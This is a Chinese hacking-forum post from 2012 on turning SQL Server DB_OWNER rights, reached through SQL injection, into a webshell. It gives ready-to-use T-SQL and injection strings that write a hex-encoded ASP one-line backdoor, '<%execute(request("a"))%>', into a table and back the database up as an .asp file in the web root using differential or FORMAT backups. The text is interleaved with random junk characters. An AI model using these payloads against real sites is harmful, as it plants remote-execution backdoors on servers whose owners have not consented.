找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2118|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:. b. d' v, [, B5 W

# \+ a) i8 u8 j4 X/ A减少备份文件大小,得到可执行的webshell成功率提高不少3 ^2 \$ B4 a# a/ X4 T; A
一利用差异备份' c; S6 z/ B3 z' x
加一个参数WITH DIFFERENTIAL6 H, ?% ~$ w1 H6 h

+ {) S( k4 V. Y  J+ |$ g1
6 m8 k) Q& S, w1 z. Y2 [- U& b2) g7 X6 u& g% o
3# p2 g4 l) h$ K
4- P: q- ?$ M, q  L
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
1 j$ s$ n8 M" zcreate table [dbo].[xiaolu] ([cmd] [image]);" w1 m7 y, [0 n' |. L
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)" l' k1 p" q; k) m. b7 N: ?' g
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
8 @- ^/ w+ |' B5 h% t% w% M) V3 |
% B+ C. A' S7 V6 K6 h二利用完全FORMAT9 w6 M; D/ U$ ^: [$ I! C0 @
加一个参数WITH FROMAT- M( M* o7 y7 C/ Z
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以6 ^7 W0 R1 t4 I! R5 U. a0 n2 ?
( l( ~3 S' p+ I9 s
1" `$ ?, P) R; `3 i: O5 J
2
+ U2 N9 w6 t0 o9 U0 O3) N! _9 o& X3 x- ^% w) E/ L! I$ t
4- m: u8 G/ m6 p& ^. H$ P6 [
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s% {  B- p5 i- {! y( `; \% m' L; L; E/ o# m
create table [dbo].[xiaolu] ([cmd] [image]);# M2 j/ k4 j& [! S% f$ S2 `1 T
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
$ M0 T( ?! y6 ~& E- y7 Z1 v/ m% Y8 kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT   i7 ?* r, Z! J- d2 F

2 d! i3 A( [2 c! u总的来说就是那么简单几句,下面以备份数据库model为例子
: H1 x4 @- \- A: O9 {. J; Q) g1
$ v' j/ g, S! A+ q5 Q
! F, m' |6 {$ S$ z9 \1; N/ }- x6 l- F
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
2 _4 T# T8 h4 f! G; p  t5 ~$ ]% {) \2 @
2. x. e: G6 A/ U+ p* ~# y$ Q

* q* @7 z# N( m  i' V. B- M16 @. a; ?# w7 J0 c& J
id=1;backup database model to disk='你的路径‘ with differential,format;--
, A- ]/ D6 `  q( U0 i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表